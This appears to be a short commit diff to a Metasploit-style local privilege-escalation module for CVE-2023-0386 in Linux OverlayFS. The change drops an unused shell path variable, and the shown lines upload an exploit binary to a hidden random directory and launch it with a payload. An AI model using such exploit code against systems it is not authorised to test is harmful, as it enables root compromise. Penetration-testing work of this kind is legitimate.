Remove unnecessary shell_path

Author: Takahiro-Yoko

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

@@ -108,7 +108,6 @@ def exploit
     # Upload exploit executable
     exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
     exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
-    shell_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
 
     mkdir(exploit_dir)
     register_dir_for_cleanup(exploit_dir)
@@ -127,7 +126,7 @@ def exploit
 
     # Launch exploit
     print_status('Launching exploit...')
-    cmd_string = "#{exploit_path} #{shell_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
+    cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
     vprint_status("Running: #{cmd_string}")
     begin
       output = cmd_exec(cmd_string, nil, datastore['TIMEOUT'])